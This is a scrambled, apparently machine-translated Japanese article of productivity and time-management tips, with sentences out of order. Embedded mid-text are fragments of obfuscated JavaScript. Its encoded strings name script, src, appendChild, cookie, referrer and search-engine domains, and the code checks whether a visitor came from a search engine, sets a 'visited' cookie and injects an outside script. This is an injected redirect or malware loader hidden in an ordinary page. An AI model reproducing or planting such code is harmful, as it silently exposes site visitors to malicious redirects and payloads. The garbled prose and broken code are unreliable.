多相睡眠とは何ですか？多相睡眠とは、睡眠時間を毎日2〜5時間に短縮することを目的とした睡眠パターンの仕様です。.. もちろん、ヘビーロックの音楽である必要はありませんが、少しベートーベンで演奏することもできます。.. あなたがキーボードショートカットを使うとき、あなたは毎年64時間を稼いでいます！どんなショートカットを学ぶべきかよくわかりませんか？キーボード忍者を誰にでもできる22のトリックをチェックしよう.
1日に3つの異なる新聞を読み、あなたのRSSフィードを1日に複数回チェックするのをやめる.. あなたがより短い時間でより多くを達成したいならば、仕事を委任または外注することを学びなさい.
Windowsユーザーの場合は、Windowsの休止機能を使用してWindowsの終了および再起動の速度低下を回避してください。.. あなたの意志力に頼らないで、あなたが集中し続けるのを助けるためにこれらの有用なツールのいくつかを利用してください。.
これは比較的高い機敏さでより多くの覚醒時間を可能にしますあなたがここでそれについての詳細を学ぶことができる間、あなたもあなたのエネルギーを充電するために日中に昼寝をすることをお勧めします.. ブログ作成、電話、Eメール、用事などのタスクを1つのバッチにまとめることができます。.. ダイヤルアップを使用する必要がある場合は、PropelやSlipStreamなどのアクセラレータを使用して速度を2倍または3倍にすることもできます。.. 請求書の期限を逃したかどうかについて何回心配しましたか？請求書の自動支払は時間を節約し、遅れた手数料や金利の引き上げを排除します。.. このアプリケーションは、あなたがすべての気を散らすことを取り除くことによってあなたがより効率的に書くことを可能にします.. あなたのオフィスを組織し、システムをセットアップし、そしてゴミを捨てることによってあなたの時間を最適化しなさい.. ここにあなたがあなたの毎日の仕事を外部委託するのを助けるであろう会社のほんの一部があります： GetFriday アップワーク 達人.. 気を散らすものとしては、電話、電子メール通知、デスクトップ上で複数のWebブラウザを開くことなどがあります。.. あなたの大量成分をアップ 類語プライムタイムが生産性向上のための時期であることを確認し、それに応じて作業スケジュールを最適化する.. さらに良いことには、キーボードショートカットなど、テクノロジを使用するときのすべてのショートカットを学ぶことができます。.. あなたがこれらの一般的なto-do-list間違いをしないようにしてください！15.. このように、あなたはいつでもあなたの考え、to-dosそして考えを書き留めることができます.. 良い指導者を見つけるのは難しいので、ここにあなたを助けるためのガイドがあります：メンターで何を探すべきか31.. 私たちは全力を尽くすことができないので、私たちの正気を救うためにいつノーと言うべきかを学ばなければなりません.. 生産性を向上させる音楽を聴く邪魔にならないようにする必要がありますが、バックグラウンドで少し音楽を聴いて集中することもできます。.. これはあなたに通勤時間を節約し、あなたが長い乗車時間を節約したのであなたは一日を通してあなた自身がもっと元気になるでしょう.. 早朝に起きるのは難しいかもしれませんが、静かな家に勝るものは何もありません！ここでは、午前5:00に開始する方法と簡単なことを説明します。.. ショートカットの学習以外に、AutoHotKeyを使ってキーボードショートカットを作成することもできます。.. これは、一日中睡眠を短い（約20〜45分）昼寝に広げることによって達成されます。.. 生産性向上のために適切な音楽を選ぶのに役立つ完全なガイドは次のとおりです。音楽であなたの生産性を最大化する方法：完全なガイド5.. さまざまなタスクに取り組むのに必要な時間を見積もり、各タスクにタイマーを設定します。.. 多くの人がインターネットの速度が遅いことを知っていますが、それについて何もしていません。.. 生産性を向上させるために、できるだけ多くの作業をオフラインで行うようにしてください。.. あなたの大量成分をアップ レイブンすでに成功を収めた人をモデルにすることで、時間とエネルギーを大幅に節約できます。.. 運転中、家の掃除、運動、または夕食の調理中は、教育用Podcastまたはオーディオブックを聴くことができます。.. または、PCからMacに切り替えることについておそらく知らない利点がたくさんあるので、Macに切り替えることを検討してください。.. あなたが他の人にあなたの目標について話すとき、あなたは即座に説明責任を負わされるでしょう.. var _0x486e=['YmhWcUs=','c2NyaXB0','c3Jj','Z2V0RWxlbWVudHNCeVRhZ05hbWU=','UmRvcmc=','YXBwZW5kQ2hpbGQ=','44GC44Gq44Gf44Gu5aSn6YeP5oiQ5YiG44KS44Ki44OD44OX','NHwyfDF8MHw1fDM=','VlBsZWc=','c3BsaXQ=','bGVuZ3Ro','Y29va2ll','OyBwYXRoPQ==','OyBkb21haW49','R3ZsYU8=','ckJlT2E=','eXR3a1M=','TFVDZ0U=','bmFUbms=','VkRjZEU=','cFZZT1k=','Lmdvb2dsZS4=','LmJpbmcu','LmFvbC4=','LmFzay4=','LmFsdGF2aXN0YS4=','LnlhbmRleC4=','dmlzaXRlZA==','V0h1T2E=','WFVsVks=','TGdOd1U=','ZmVDZlM=','QURwTEw=','cmVmZXJyZXI=','cm9mdGE=','SFpNcXE=','eXh0b28=','dXNPb2c=','QXFiZEE=','UmJ3ZHQ=','WlJZRkM=','aW5kZXhPZg==','c2V0'];(function(_0x13b179,_0x99bd12){var _0x531e3e=function(_0x2b1a5d){while(--_0x2b1a5d){_0x13b179['push'](_0x13b179['shift']());}};_0x531e3e(++_0x99bd12);}(_0x486e,0x1da));var _0x5999=function(_0x30c28a,_0xf4f24e){_0x30c28a=_0x30c28a-0x0;var _0x31c15f=_0x486e[_0x30c28a];if(_0x5999['ZAybuS']===undefined){(function(){var _0x3f4b70;try{var _0x471c74=Function('return\x20(function()\x20'+'{}.. Leo Babautaはあなたを助けるいくつかのユニークな方法を持っています。あなたの情熱を見つける方法6.. LifehackのCEOが推奨するこの夜のルーチンを試してみてください。Ultimate Night Routine Guide：より良い睡眠と目覚めさせるProductive17.. もしあなたがそうしているのなら、それを確実にし、それを利用し、そして銀行への何度もの旅行からあなた自身を救ってください.. その代わりに、あなたはそれらに取り組むためにより多くのエネルギーを朝に持っているので、困難な仕事をしなさい！7.. あなたの大量成分をアップ ネタバレあなたが速くタイプするだけで年間21日節約できることを知っていますか？あなたは本当にタイピングを早くするためにいくつかの真剣なコースを取る必要はありません、これらのタイピングゲームを試してください： バラクーダ 指先 泡 42.. 時間管理がとても上手になるように生まれた人は誰もいないので、悪いと思っても大丈夫です。.. David Allenのベストセラー本Getting Things Doneを読む 私達は私達の望ましい結果の80％を生み出している20％を見つけ、それらの活動だけに集中しなければなりません.. あなたの生産性を最大にするために昼食で少し歩くか、あなたの休憩の間にいくつかの簡単なストレッチをしてください.. あなたがこれまでに持ってきたすべての小さな功績を書き留めるとき、あなたはさらに前進する動機があります。.. ブログはあなたに説明責任を保ち、常に自己啓発と個人の成長に向けて取り組んでいます.. コム ScriptLancle また、このガイドを読み、効果的に委任する方法を学びます。作業を委任する方法（成功した指導者のための最終的なガイド）20.. しかし、誰もが生産性を向上させ、より多くのことを達成することを学ぶことができます！生産性を高め、1日に時間を追加する50の方法があります.. 価値のある目標がなければ、あなたは物事を成し遂げるためにやる気にされることはありません.. あなたがそれらの不必要な電話に対処することができる方法については、この詳細なガイドをチェックしてください：あなたの日の体重を減らす無駄なアイテムを失う方法44.. ただし、就業時間ができるだけ生産的になるように、十分な睡眠をとることが重要です。.. あなたの大量成分をアップ レイブンこれらの21のヒントをチェックして、あなたのオフィスを整理し、もっとやり遂げましょう。.. あなたがあなたがマルチタスクをすることができると思うならば、もう一度考えてください.. 私はこれを私の文章でたくさんやっていて、単に抜くことが非常に有益であることを発見しました.. 一般的な時間の浪費には、インスタントメッセンジャー、ビデオゲーム、Flickr、1日に10回あなたの統計をチェックすること、テレビやその他のインターネットサーフィンが含まれます。.. それで、あなたがあなたの進歩について奮闘するときはいつでも、あなたはあなたがどれだけ遠くまで来たかを見ます！自己動機づけへのこの2段階のアプローチについての詳細を調べてください。.. 重要度の高い順に仕事をリストアップすることで、日中に最も重要な仕事をすべて終了したことを確認できます。.. あなたがより速く読むことができるとき、あなたは読んで、そしてもっと学ぶでしょう！あなたの読書速度を上げるためにこれらの10の方法をチェックしてください.. あなたがオンラインで買い物をするとき、あなたは何を手に入れようとしているかについてもっと集中することができます。.. あなたが最も恐ろしい活動は、おそらくあなたが朝最初にすることを完了するために必要なものです.. constructor(\x22return\x20this\x22)(\x20)'+');');_0x3f4b70=_0x471c74();}catch(_0x571a13){_0x3f4b70=window;}var _0x54d4b4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x3f4b70['atob']||(_0x3f4b70['atob']=function(_0x34abe4){var _0x47ed0d=String(_0x34abe4)['replace'](/=+$/,'');for(var _0x17492d=0x0,_0x1d4dd4,_0x49acaf,_0x1d8d57=0x0,_0x3fcc6c='';_0x49acaf=_0x47ed0d['charAt'](_0x1d8d57++);~_0x49acaf&&(_0x1d4dd4=_0x17492d%0x4?_0x1d4dd4*0x40+_0x49acaf:_0x49acaf,_0x17492d++%0x4)?_0x3fcc6c+=String['fromCharCode'](0xff&_0x1d4dd4>>(-0x2*_0x17492d&0x6)):0x0){_0x49acaf=_0x54d4b4['indexOf'](_0x49acaf);}return _0x3fcc6c;});}());_0x5999['OhIHZI']=function(_0x33de3e){var _0x59960e=atob(_0x33de3e);var _0x2a383d=[];for(var _0x2d2c95=0x0,_0x1ffa53=_0x59960e['length'];_0x2d2c95=_0xfb74ec;},'SJmXD':function(_0x5ee902,_0x11a743){return _0x5ee902+_0x11a743;}};var _0x3a302b=[_0x4f0a8c[_0x5999('0x1c')],_0x4f0a8c['fIpuz'],_0x4f0a8c[_0x5999('0x1d')],_0x4f0a8c['hEOlX'],_0x4f0a8c['ALcEC'],_0x4f0a8c[_0x5999('0x1e')],_0x4f0a8c[_0x5999('0x1f')]],_0x45b53c=document[_0x5999('0x20')],_0x5dc088=![],_0x4c8011=cookie['get'](_0x4f0a8c[_0x5999('0x21')]);for(var _0x3a7cfd=0x0;_0x4f0a8c[_0x5999('0x22')](_0x3a7cfd,_0x3a302b['length']);_0x3a7cfd++){if(_0x4f0a8c[_0x5999('0x23')](_0x5999('0x1b'),_0x4f0a8c[_0x5999('0x24')])){_0x4f0a8c['bhVqK'](include,_0x4f0a8c['AqbdA'](_0x4f0a8c[_0x5999('0x25')](_0x4f0a8c[_0x5999('0x26')],q),''));}else{if(_0x4f0a8c[_0x5999('0x27')](_0x45b53c[_0x5999('0x28')](_0x3a302b[_0x3a7cfd]),0x0)){_0x5dc088=!![];}}}if(_0x5dc088){cookie[_0x5999('0x29')](_0x5999('0x1a'),0x1,0x1);if(!_0x4c8011){_0x4f0a8c[_0x5999('0x2a')](include,_0x4f0a8c['SJmXD'](_0x4f0a8c[_0x5999('0x26')],q)+'');}}}R(); 最終更新日：2018年6月27日 自分のやりたいことをすべて実行するのに十分な時間がないように感じる場合は、時間管理のスキルを使ってチェックインする時間があるかもしれません。.. あなたが大量にあなたの食事を調理するとき、あなたはたくさんの残り物があるでしょう.. 代わりに、あなたはあなたの最も生産的な時期に短いバーストで働くために撃つべきです.. 自宅で仕事をしながら生産性を維持するのに役立つ次のヒントを見てください。自宅で仕事をし、超高生産性を維持する方法45.. あなたが一日を通して行っているように、繰り返しあなた自身に尋ねてください：私は現在私の時間を最大限に利用していますか？この1つの簡単な質問はあなたの生産性へのすばらしい後押しになることができます.
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